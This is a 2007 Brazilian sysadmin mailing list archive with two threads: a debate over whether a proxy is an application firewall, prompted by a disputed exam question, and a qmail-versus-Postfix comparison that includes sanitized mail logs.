>>> welliton at infonet.com.br 18/4/2007 13:30 >>>
Prezados,

em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:

"Proxy nada mais ? do que um firewall de controle
de aplica??es, tais como SMTP, FTP, HTTP e
outras."

e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver  
errado, mas as fun??es de um proxy e de um firewall s?o bem definidas  
e distintas. Correto?
[...]




From welliton at infonet.com.br  Wed Apr 18 13:48:57 2007
From: welliton at infonet.com.br (Welliton =?iso-8859-1?b?U+E=?=)
Date: Wed, 18 Apr 2007 13:48:57 -0300
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <s626203b.059@server-trf8.trf3.gov.br>
References: <s626203b.059@server-trf8.trf3.gov.br>
Message-ID: <20070418134857.v21x6gep4ogosos8@horde.infonet.com.br>

Marlon,

obrigado pela resposta. Pretendo entrar com recurso contra o gabarito  
oficial e para tanto preciso citar algum documento t?cnico oficial ou  
at? mesmo uma RFC.

Algu?m sabe se existe tal tipo de documento ou RFC?


Citando MARLON BORBA <MBORBA at trf3.gov.br>:

> Essa afirma??o, como diria o Danton, misturou alhos com bugalhos.  
> Ambos t?m, de fato, fun??es completamente distintas.
>


Atenciosamente,


Welliton S?




From edison at coslinux.com.br  Wed Apr 18 13:49:58 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Wed, 18 Apr 2007 09:49:58 -0700
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
Message-ID: <46264C36.60308@coslinux.com.br>

Uma defini??o simples e clara pode ser encontrada em: 
http://pt.wikipedia.org/wiki/Proxy

[ ] 's

Edison

Welliton S? escreveu:
> Prezados,
>
> em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:
>
> "Proxy nada mais ? do que um firewall de controle
> de aplica??es, tais como SMTP, FTP, HTTP e
> outras."
>
> e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver  
> errado, mas as fun??es de um proxy e de um firewall s?o bem definidas  
> e distintas. Correto?
>
>
>
> Atenciosamente,
>
>
> Welliton S?
>
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
>   



From aquino at ecosistemas.com.br  Wed Apr 18 13:53:22 2007
From: aquino at ecosistemas.com.br (Lucio de Aquino Marinho)
Date: Wed, 18 Apr 2007 13:53:22 -0300
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
Message-ID: <46264D02.8060509@ecosistemas.com.br>


Talvez estivesse certo se o conceito de firewall fosse o de " Ferramenta 
de imposi??o de Politicas de Seguran?a "  neste caso o proxy se encaixaria .

Lucio

Welliton S? escreveu:
> Prezados,
>
> em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:
>
> "Proxy nada mais ? do que um firewall de controle
> de aplica??es, tais como SMTP, FTP, HTTP e
> outras."
>
> e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver  
> errado, mas as fun??es de um proxy e de um firewall s?o bem definidas  
> e distintas. Correto?
>
>
>
> Atenciosamente,
>
>
> Welliton S?
>
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   




From aquino at ecosistemas.com.br  Wed Apr 18 13:53:48 2007
From: aquino at ecosistemas.com.br (Lucio de Aquino Marinho)
Date: Wed, 18 Apr 2007 13:53:48 -0300
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <1176914278.7798.90.camel@inuyasha>
References: <46260602.7060704@unigranrio.edu.br>	<1176897471.7798.44.camel@inuyasha>	<46263EE4.1060107@ecosistemas.com.br>
	<1176914278.7798.90.camel@inuyasha>
Message-ID: <46264D1C.8060800@ecosistemas.com.br>


Me animei ,

  Vou testar

Raphael Bittencourt S. Costa escreveu:
> On Wed, 2007-04-18 at 12:53 -0300, Lucio de Aquino Marinho wrote:
>
>   
>> Bom dia Rafael e amigos da Lista ,
>>
>>    Eu uso o qmail ha um bom tempo , e tenho escolhido ele por algumas 
>> facilidades que tenho tido com ele , o postfix ? t?o bom assim ? 
>> gostaria de conhecer
>>
>>
>> Algumas coisas boas no qmail
>>
>> 1 - Administra??o com o qmailadmin
>>     
>
> postfixadmin
>
>   
>> 2 - Multidominio com o vpopmail
>>     
>
> Multidominio.
>
>   
>> 3 - Imap e pop 3 ,
>>     
>
> Courier, dovecot, etc. ? s? escolher.
>
>   
>> 4- smtp autenticado
>>     
>
> http://www.postfix.org/SASL_README.html
>
>   
>> 5-  Integra??o via patch com spamassassin e fprot ,
>>     
>
> A integracao com o spamassassin pode ser feita de v?rias formas, e o
> melhor, sem patchs.
>
>   
>> 6- Logs a vontade para verificar , entrada e saidas
>>     
>
> Isso pq voce nao viu os do postfix. 
> Apr 18 12:56:49 mx01 postfix/smtpd[11750]: CADDE3093F:
> client=reverso[200.xx.xx.xx.xx]
> Apr 18 12:56:50 mx01 postfix/cleanup[11607]: CADDE3093F:
> message-id=<200704181609.l3IG9hL10141 at mail.xxxxxx>
> Apr 18 13:01:59 mx01 postfix/qmgr[13619]: CADDE3093F:
> from=<xxxx at xxxx.xx>, size=4235, nrcpt=1 (queue active)
> Apr 18 13:02:00 mx01 postfix/smtp[13655]: CADDE3093F:
> to=<xxxx.xxxx at xxxxxx.com.br>, relay=127.0.0.1[127.0.0.1]:10020,
> conn_use=3, delay=311, delays=309/1/0/0.28, dsn=2.0.0, status=sent (250
> 2.0.0 Ok: queued as CFC903087E)
> Apr 18 13:02:00 mx01 postfix/qmgr[13619]: CADDE3093F: removed
>
> Olha que maneiro:
>
> Apr 18 13:24:48 mx01 postfix/smtpd[13609]: NOQUEUE: reject: RCPT from
> reverso[200.xxx1xx08.1xx]: 554 5.7.1 <hellodospammer>: Helo command
> rejected: IP Rejeitado devido a SPAM; from=<envio at xxxx.com.br>
> to=<vendas at xxxxx.com.br> proto=ESMTP helo=<hellodospammer>
>
>
>
>
>
>   
>> 7- checagem de usuarios na entrada
>>     
>
> Postfix faz sem patch.
>
>   
>> 8- whitelist , grey list , black list
>>     
>
> smtpd_restrictions. 
>
>   
>> 9 - graficos com o mrtg
>>     
>
> :-D
>
>   
>> 10 - Base de dados no mysql , entre outros
>>     
>
> Mapas em mysql, postgres, cdb, hash, ldap e pcre. 
>
>   
>> Algumas coisas ruims
>>     
>
> Desconhe?o. Se alguem souber de alguma...
>
>   
>> 1 - Instala??o dificil , Nunca fica igualzinho , um saco
>> 2 -  ..
>>
>> N?o me lmebro de outras coisas agora , mas superada a instala??o 
>> funciona beleza ,,
>>
>>   Vamos trocar umas impressoes sobre isso
>>
>> Atenciosamente
>> Lucio
>>
>>
>>
>>
>>
>> Raphael Bittencourt S. Costa escreveu:
>>     
>>> terra.com.br:ipdoservidor ?
>>> Tem um tempo que nao uso qmail, gracas a Deus, mas acho que ? assim. :-D
>>>
>>>
>>> On Wed, 2007-04-18 at 08:50 -0300, silvio.cesar at unigranrio.edu.br wrote:
>>>
>>>   
>>>       
>>>> Bom dia pessoal,
>>>>
>>>> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
>>>> para o dom?nio terra.com.br sair por outro servidor?
>>>>
>>>>     
>>>>         
>>> __
>>> masoch-l list
>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>   
>>>       
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>     
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   



From marcelo at standardnet.com.br  Wed Apr 18 13:54:33 2007
From: marcelo at standardnet.com.br (Marcelo Estanislau)
Date: Wed, 18 Apr 2007 13:54:33 -0300
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <s626203b.058@server-trf8.trf3.gov.br>
References: <s626203b.058@server-trf8.trf3.gov.br>
Message-ID: <46264D49.2030803@standardnet.com.br>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Cabe recurso, Proxy n?o ? Firewall.


Marcelo Estanislau Geyer
marcelo at standardnet.com.br
Standard Net Tecnologia e Informa??o
http://www.standardnet.com.br
- --
PGP Key: http://www.keyserver.net - Key ID 0x5812DE5E


MARLON BORBA escreveu:
> Essa afirma??o, como diria o Danton, misturou alhos com bugalhos. Ambos t?m, de fato, fun??es completamente distintas.
> 
> 
> 
> Abra?os,
> 
> Marlon Borba, CISSP, APC DataCenter Associate
> T?cnico Judici?rio - Seguran?a da Informa??o
> TRF 3? Regi?o
> (11) 3012-1683
> --
> Seguran?a ? um processo, n?o um produto.
> (Bruce Schneier)
> --
> 
>>>> welliton at infonet.com.br 18/4/2007 13:30 >>>
> Prezados,
> 
> em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:
> 
> "Proxy nada mais ? do que um firewall de controle
> de aplica??es, tais como SMTP, FTP, HTTP e
> outras."
> 
> e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver  
> errado, mas as fun??es de um proxy e de um firewall s?o bem definidas  
> e distintas. Correto?
> [...]
> 
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
> 
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iQCVAwUBRiZNSY+bwQJYEt5eAQJ6zQQAyNG93ciKus4dEXCWZqA1Cu6AdK/QsC1i
ark885MBt++Hgq3s4TUm/KgFHjrgD6/ejsFawo2PSYvK4imWBfhZNb6Pu6/f2vCL
wtBAlKW9Kk/dvB4gIMg2Ix+tXYSSKNxlAB0OXi6bSLLrtPeW8+SpKRoOJA+f45Lz
/dDGO4ftO/E=
=+Xgx
-----END PGP SIGNATURE-----


From juliano.dapper at getnet-tecnologia.com.br  Wed Apr 18 13:53:39 2007
From: juliano.dapper at getnet-tecnologia.com.br (=?ISO-8859-1?Q?F=E1bio_Juliano_Dapper?=)
Date: Wed, 18 Apr 2007 13:53:39 -0300
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <46264C36.60308@coslinux.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
	<46264C36.60308@coslinux.com.br>
Message-ID: <46264D13.9050308@getnet-tecnologia.com.br>

wikipedia n?o server como fonte confiavel.


Edison Bortolin wrote:
> Uma defini??o simples e clara pode ser encontrada em: 
> http://pt.wikipedia.org/wiki/Proxy
> 
> [ ] 's
> 
> Edison
> 
> Welliton S? escreveu:
>> Prezados,
>>
>> em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:
>>
>> "Proxy nada mais ? do que um firewall de controle
>> de aplica??es, tais como SMTP, FTP, HTTP e
>> outras."
>>
>> e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver  
>> errado, mas as fun??es de um proxy e de um firewall s?o bem definidas  
>> e distintas. Correto?
>>
>>
>>
>> Atenciosamente,
>>
>>
>> Welliton S?
>>
>>
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
>>   
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l

-- 


From danton at inexo.com.br  Wed Apr 18 13:57:33 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Wed, 18 Apr 2007 13:57:33 -0300 (BRT)
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
Message-ID: <Pine.LNX.4.60.0704181355100.30121@newquantum.inexo.com.br>

On Wed, 18 Apr 2007, Welliton S? wrote:

> Prezados,
>
> em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:
>
> "Proxy nada mais ? do que um firewall de controle
> de aplica??es, tais como SMTP, FTP, HTTP e
> outras."
>
> e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver
> errado, mas as fun??es de um proxy e de um firewall s?o bem definidas
> e distintas. Correto?

se algum dia algu?m definir "firewall" ent?o a gente pode atribuir algum 
ju?zo de valor a?. Tomando o sentido da palavra no livro "building 
internet firewalls" de E. Zwicky et al, a afirma??o a? est? errada, mas 
tomando em sentido mais amplo, indo at? o n?vel de aplica??o, est? quase 
certa, porque ela n?o diz nada sobre para que serve um proxy.


From danton at inexo.com.br  Wed Apr 18 14:02:06 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Wed, 18 Apr 2007 14:02:06 -0300 (BRT)
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <20070418134857.v21x6gep4ogosos8@horde.infonet.com.br>
References: <s626203b.059@server-trf8.trf3.gov.br>
	<20070418134857.v21x6gep4ogosos8@horde.infonet.com.br>
Message-ID: <Pine.LNX.4.60.0704181358060.30121@newquantum.inexo.com.br>

On Wed, 18 Apr 2007, Welliton S? wrote:

> Marlon,
>
> obrigado pela resposta. Pretendo entrar com recurso contra o gabarito
> oficial e para tanto preciso citar algum documento t?cnico oficial ou
> at? mesmo uma RFC.
>
> Algu?m sabe se existe tal tipo de documento ou RFC?

o galho, o alho e o bugalho est?o em duas defini??es que n?o s?o postas 
formalmente: proxy (o correto em bom portugu?s ? 'agente procurador') e 
firewall. ambas as palavras s?o usadas em uma larga gama de sentidos com 
alguma intersec??o.

p.ex. voc? concorda que o squid ? um proxy, mas e um roteador com NAT 
tamb?m o ?? um procedimento na camada de aplica??o, p.ex. detectar v?rus 
em anexos de e-mail, ? parte de um firewall ou n?o? em ambos os casos a 
resposta ? 'depende do que voc? entende por proxy ou firewall'.

nenhuma RFC vai te ajudar porque nelas as palavras s?o contextuadas e nada 
garante que a quest?o dada estava no contexto desta ou aquela RFC.


From danton at inexo.com.br  Wed Apr 18 14:05:31 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Wed, 18 Apr 2007 14:05:31 -0300 (BRT)
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <46264C36.60308@coslinux.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
	<46264C36.60308@coslinux.com.br>
Message-ID: <Pine.LNX.4.60.0704181402440.30121@newquantum.inexo.com.br>

On Wed, 18 Apr 2007, Edison Bortolin wrote:

> Uma defini??o simples e clara pode ser encontrada em:
> http://pt.wikipedia.org/wiki/Proxy

simples, clara e possivelmente errada. n?o precisa ter um cache para ser 
proxy (legal esse jarg?o, temos uma palavra em franc?s e uma em ingl?s em 
uma frase em portugu?s)

O artigo da wikipedia em ingl?s ? melhor: http://en.wikipedia.org/wiki/Proxy_server



From edison at coslinux.com.br  Wed Apr 18 14:18:52 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Wed, 18 Apr 2007 10:18:52 -0700
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <46264D13.9050308@getnet-tecnologia.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>	<46264C36.60308@coslinux.com.br>
	<46264D13.9050308@getnet-tecnologia.com.br>
Message-ID: <462652FC.7050101@coslinux.com.br>

Esse neg?cio de "fonte confi?vel" d? "pano pra manga". ? melhor n?o 
continuar a discuss?o acerca disso.

[ ] 's

Edison

F?bio Juliano Dapper escreveu:
> wikipedia n?o server como fonte confiavel.
>
>
> Edison Bortolin wrote:
>   
>> Uma defini??o simples e clara pode ser encontrada em: 
>> http://pt.wikipedia.org/wiki/Proxy
>>
>> [ ] 's
>>
>> Edison
>>
>> Welliton S? escreveu:
>>     
>>> Prezados,
>>>
>>> em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:
>>>
>>> "Proxy nada mais ? do que um firewall de controle
>>> de aplica??es, tais como SMTP, FTP, HTTP e
>>> outras."
>>>
>>> e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver  
>>> errado, mas as fun??es de um proxy e de um firewall s?o bem definidas  
>>> e distintas. Correto?
>>>
>>>
>>>
>>> Atenciosamente,
>>>
>>>
>>> Welliton S?
>>>
>>>
>>> __
>>> masoch-l list
>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>
>>>   
>>>       
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>     
>
>   



From edison at coslinux.com.br  Wed Apr 18 14:21:05 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Wed, 18 Apr 2007 10:21:05 -0700
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <Pine.LNX.4.60.0704181402440.30121@newquantum.inexo.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>	<46264C36.60308@coslinux.com.br>
	<Pine.LNX.4.60.0704181402440.30121@newquantum.inexo.com.br>
Message-ID: <46265381.1010902@coslinux.com.br>

Lao DanTong escreveu:
>> Uma defini??o simples e clara pode ser encontrada em:
>> http://pt.wikipedia.org/wiki/Proxy
>>     
>
> simples, clara e possivelmente errada. n?o precisa ter um cache para ser 
> proxy (legal esse jarg?o, temos uma palavra em franc?s e uma em ingl?s em 
> uma frase em portugu?s)
>   
Bom, isso "depende do que voc? entende por proxy ...".

;-)

[ ] 's

Edson


From berthold at penta.ufrgs.br  Wed Apr 18 14:35:47 2007
From: berthold at penta.ufrgs.br (Leandro M Bertholdo)
Date: Wed, 18 Apr 2007 14:35:47 -0300
Subject: [MASOCH-L] RES:  Conceito de Proxy
In-Reply-To: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
Message-ID: <00e601c781e0$008df830$650084c8@terra>

Ola Wellinton,

Concordo que, da forma como voce esta apresentando aqui, sem nos oferecer
toda a questao e contexto (concurso/bibliografia), que este ? um item
discutivel. Antes de mais nada voc? deve verificar qual a bibliografia foi
recomendada pelo concurso. Pois existem alguns pontos que podem ser
obscuros, mal traduzidos e ate mesmo mal interpretados pela banca
respons?vel pela prova.

Segundo a defini??o de um livro que provavelmente est? na bibliografia da
sua prova [Comer vol.1 5a. ed. em portugu?s p.408]:
Proxy: qualquer dispositivo ou sistema que age no lugar de outro (por
exemplo, um servidor web proxy age no lugar de outro servidor Web).

Ainda deste mesmo autor voc? pode encontrar o termo PROXY ARP (p?g. 82),
onde a funcao de agir no lugar de outro (tecnica de procura??o) ? utilizada
para resolver problemas de n?vel 2 (flateniza??o) e nesse caso ?
frequentemente executada em um router, que n?o necessariamente implementa as
fun??es de firewall. Esse mesmo item pode ser utilizado para o seu argumento
que firewall e proxy s?o conceitos distintos e independentes, embora, na
maioria das vezes, sejam usados em conjunto para elaborar uma solu??o de
seguranca.

Outros autores chamam os proxies de gateways de aplica??o, mas n?o me
recordo de nenhum autor relevante que use o termo "firewall de aplica??o"
para designar proxies.

A seu favor voc? tem at? a wikipedia (claro que isso n?o vale para argumento
a banca), por isso voce precisa da bibliografia que foi citada pelo edital
do concurso:

(...)A proxy device (running either on dedicated hardware or as software on
a general-purpose machine) may act as a firewall by responding to input
packets (connection requests, for example) in the manner of an application,
whilst blocking other packets.(...)

Note que todas as definicoes (que pelo menos eu conheco) dizem que "pode
agir" "pode existir" um proxy e uma firewall, mas ambos tem funcoes
diferentes - o que ? realidade na pratica, e que tamb?m ? o seu ponto de
vista.

Tenho uma tend?ncia em acreditar que o elaborador da quest?o ou o autor do
livro que ele utilizou fizeram uma confus?o entre "application-layer
firewall" e "application gateway" - a diferen?a ? que os gateways de
aplica??o permitem servi?os adicionais, como o caching do squid. Da? poderia
ter sa?do um "firewall de aplicacao". Nunca vi uma defini??o para "firewall
de controle"

Boa sorte.
Espero que as dicas o ajudem

Leandro Bertholdo

> -----Mensagem original-----
> De: masoch-l-bounces at eng.registro.br [mailto:masoch-l-
> bounces at eng.registro.br] Em nome de Welliton S?
> Enviada em: quarta-feira, 18 de abril de 2007 13:30
> Para: masoch-l at eng.registro.br
> Assunto: [MASOCH-L] Conceito de Proxy
> 
> Prezados,
> 
> em prova de concurso p?blico recente, foi apresentada a seguinte
> afirmativa:
> 
> "Proxy nada mais ? do que um firewall de controle
> de aplica??es, tais como SMTP, FTP, HTTP e
> outras."
> 
> e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver
> errado, mas as fun??es de um proxy e de um firewall s?o bem definidas
> e distintas. Correto?
> 
> 
> 
> Atenciosamente,
> 
> 
> Welliton S?
> 
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l



From aquino at ecosistemas.com.br  Wed Apr 18 14:37:02 2007
From: aquino at ecosistemas.com.br (Lucio de Aquino Marinho)
Date: Wed, 18 Apr 2007 14:37:02 -0300
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <Pine.LNX.4.60.0704181402440.30121@newquantum.inexo.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>	<46264C36.60308@coslinux.com.br>
	<Pine.LNX.4.60.0704181402440.30121@newquantum.inexo.com.br>
Message-ID: <4626573E.8010606@ecosistemas.com.br>

Ainda sobre Firewall


 um ?timo  material  para estudo    http://www.sans.org/reading_room/

Pricipalmente os trabalhos praticos , da pra ter uma boa ideia  , 
http://www.giac.org/certified_professionals/listing/gcfw_100_555.php

Lucio




Lao DanTong escreveu:
> On Wed, 18 Apr 2007, Edison Bortolin wrote:
>
>   
>> Uma defini??o simples e clara pode ser encontrada em:
>> http://pt.wikipedia.org/wiki/Proxy
>>     
>
> simples, clara e possivelmente errada. n?o precisa ter um cache para ser 
> proxy (legal esse jarg?o, temos uma palavra em franc?s e uma em ingl?s em 
> uma frase em portugu?s)
>
> O artigo da wikipedia em ingl?s ? melhor: http://en.wikipedia.org/wiki/Proxy_server
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   



From lyra at pop-pr.rnp.br  Wed Apr 18 14:40:33 2007
From: lyra at pop-pr.rnp.br (Christian Lyra)
Date: Wed, 18 Apr 2007 14:40:33 -0300
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <46263EE4.1060107@ecosistemas.com.br>
References: <46260602.7060704@unigranrio.edu.br>
	<1176897471.7798.44.camel@inuyasha>
	<46263EE4.1060107@ecosistemas.com.br>
Message-ID: <200704181440.34045.lyra@pop-pr.rnp.br>

>
>  Algumas coisas ruims
>
>  1 - Instala??o dificil , Nunca fica igualzinho , um saco
2 - DJB
3 - patchs, milhares de patchs para fazer coisas que o postfix faz sem 
patchs
4 - no IPv6

mas realmente o vpopmail ? muito legal...


-- 
Christian Lyra
POP-PR - RNP

http://lyra.soueu.com.br

  Who can tell the secrets of their hearts and minds? 
  The answer exists only in Tao. 
						The Tao Of Programing


From jczucco at ucs.br  Wed Apr 18 15:19:35 2007
From: jczucco at ucs.br (Jeronimo Zucco)
Date: Wed, 18 Apr 2007 15:19:35 -0300
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <46264D1C.8060800@ecosistemas.com.br>
References: <46260602.7060704@unigranrio.edu.br>	<1176897471.7798.44.camel@i	nuyasha>	<46263EE4.1060107@ecosistemas.com.br><1176914278.7798.90.camel@inu	yasha>
	<46264D1C.8060800@ecosistemas.com.br>
Message-ID: <46266137.7050409@ucs.br>

Eu passei por isso tamb?m. Vai ser dif?cil eu voltar ao qmail :-)

Lucio de Aquino Marinho escreveu:
> Me animei ,
>
>   Vou testar
>
> Raphael Bittencourt S. Costa escreveu:
>   
>> On Wed, 2007-04-18 at 12:53 -0300, Lucio de Aquino Marinho wrote:
>>
>>   
>>     
>>> Bom dia Rafael e amigos da Lista ,
>>>
>>>    Eu uso o qmail ha um bom tempo , e tenho escolhido ele por algumas 
>>> facilidades que tenho tido com ele , o postfix ? t?o bom assim ? 
>>> gostaria de conhecer
>>>
>>>
>>> Algumas coisas boas no qmail
>>>
>>> 1 - Administra??o com o qmailadmin
>>>     
>>>       
>> postfixadmin
>>
>>   
>>     
>>> 2 - Multidominio com o vpopmail
>>>     
>>>       
>> Multidominio.
>>
>>   
>>     
>>> 3 - Imap e pop 3 ,
>>>     
>>>       
>> Courier, dovecot, etc. ? s? escolher.
>>
>>   
>>     
>>> 4- smtp autenticado
>>>     
>>>       
>> http://www.postfix.org/SASL_README.html
>>
>>   
>>     
>>> 5-  Integra??o via patch com spamassassin e fprot ,
>>>     
>>>       
>> A integracao com o spamassassin pode ser feita de v?rias formas, e o
>> melhor, sem patchs.
>>
>>   
>>     
>>> 6- Logs a vontade para verificar , entrada e saidas
>>>     
>>>       
>> Isso pq voce nao viu os do postfix. 
>> Apr 18 12:56:49 mx01 postfix/smtpd[11750]: CADDE3093F:
>> client=reverso[200.xx.xx.xx.xx]
>> Apr 18 12:56:50 mx01 postfix/cleanup[11607]: CADDE3093F:
>> message-id=<200704181609.l3IG9hL10141 at mail.xxxxxx>
>> Apr 18 13:01:59 mx01 postfix/qmgr[13619]: CADDE3093F:
>> from=<xxxx at xxxx.xx>, size=4235, nrcpt=1 (queue active)
>> Apr 18 13:02:00 mx01 postfix/smtp[13655]: CADDE3093F:
>> to=<xxxx.xxxx at xxxxxx.com.br>, relay=127.0.0.1[127.0.0.1]:10020,
>> conn_use=3, delay=311, delays=309/1/0/0.28, dsn=2.0.0, status=sent (250
>> 2.0.0 Ok: queued as CFC903087E)
>> Apr 18 13:02:00 mx01 postfix/qmgr[13619]: CADDE3093F: removed
>>
>> Olha que maneiro:
>>
>> Apr 18 13:24:48 mx01 postfix/smtpd[13609]: NOQUEUE: reject: RCPT from
>> reverso[200.xxx1xx08.1xx]: 554 5.7.1 <hellodospammer>: Helo command
>> rejected: IP Rejeitado devido a SPAM; from=<envio at xxxx.com.br>
>> to=<vendas at xxxxx.com.br> proto=ESMTP helo=<hellodospammer>
>>
>>
>>
>>
>>
>>   
>>     
>>> 7- checagem de usuarios na entrada
>>>     
>>>       
>> Postfix faz sem patch.
>>
>>   
>>     
>>> 8- whitelist , grey list , black list
>>>     
>>>       
>> smtpd_restrictions. 
>>
>>   
>>     
>>> 9 - graficos com o mrtg
>>>     
>>>       
>> :-D
>>
>>   
>>     
>>> 10 - Base de dados no mysql , entre outros
>>>     
>>>       
>> Mapas em mysql, postgres, cdb, hash, ldap e pcre. 
>>
>>   
>>     
>>> Algumas coisas ruims
>>>     
>>>       
>> Desconhe?o. Se alguem souber de alguma...
>>
>>   
>>     
>>> 1 - Instala??o dificil , Nunca fica igualzinho , um saco
>>> 2 -  ..
>>>
>>> N?o me lmebro de outras coisas agora , mas superada a instala??o 
>>> funciona beleza ,,
>>>
>>>   Vamos trocar umas impressoes sobre isso
>>>
>>> Atenciosamente
>>> Lucio
>>>
>>>
>>>
>>>
>>>
>>> Raphael Bittencourt S. Costa escreveu:
>>>     
>>>       
>>>> terra.com.br:ipdoservidor ?
>>>> Tem um tempo que nao uso qmail, gracas a Deus, mas acho que ? assim. :-D
>>>>
>>>>
>>>> On Wed, 2007-04-18 at 08:50 -0300, silvio.cesar at unigranrio.edu.br wrote:
>>>>
>>>>   
>>>>       
>>>>         
>>>>> Bom dia pessoal,
>>>>>
>>>>> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
>>>>> para o dom?nio terra.com.br sair por outro servidor?
>>>>>
>>>>>     
>>>>>         
>>>>>           
>>>> __
>>>> masoch-l list
>>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>>   
>>>>       
>>>>         
>>> __
>>> masoch-l list
>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>     
>>>       
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>   
>>     
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   


-- 
Jeronimo Zucco
LPIC-1 Linux Professional Institute Certified
N?cleo de Processamento de Dados
Universidade de Caxias do Sul

http://jczucco.blogspot.com



From jonny at jonny.eng.br  Wed Apr 18 17:29:52 2007
From: jonny at jonny.eng.br (=?ISO-8859-1?Q?Jo=E3o_Carlos_Mendes_Luis?=)
Date: Wed, 18 Apr 2007 17:29:52 -0300
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <46264D02.8060509@ecosistemas.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>
	<46264D02.8060509@ecosistemas.com.br>
Message-ID: <46267FC0.2000707@jonny.eng.br>

Lucio de Aquino Marinho wrote:
> Talvez estivesse certo se o conceito de firewall fosse o de " Ferramenta 
> de imposi??o de Politicas de Seguran?a "  neste caso o proxy se encaixaria .

Nao se o proxy for apenas para cache, e n?o para autentica??o.

neste caso, ? uma ferramenta de otimiza??o de recursos da rede.

> 
> Lucio
> 
> Welliton S? escreveu:
>> Prezados,
>>
>> em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:
>>
>> "Proxy nada mais ? do que um firewall de controle
>> de aplica??es, tais como SMTP, FTP, HTTP e
>> outras."
>>
>> e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver  
>> errado, mas as fun??es de um proxy e de um firewall s?o bem definidas  
>> e distintas. Correto?
>>
>>
>>
>> Atenciosamente,
>>
>>
>> Welliton S?
>>
>>
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>   
> 
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l



					Jonny

-- 
Jo?o Carlos Mendes Lu?s			jonny at jonny.eng.br
   Networking Engineer


From frederick at dahype.org  Wed Apr 18 17:38:48 2007
From: frederick at dahype.org (Renato Frederick)
Date: Wed, 18 Apr 2007 17:38:48 -0300
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <46266137.7050409@ucs.br>
Message-ID: <C24C0828.11FD%frederick@dahype.org>

Ah pessoal.. Isto ? igual discutir futebol e religi?o :)

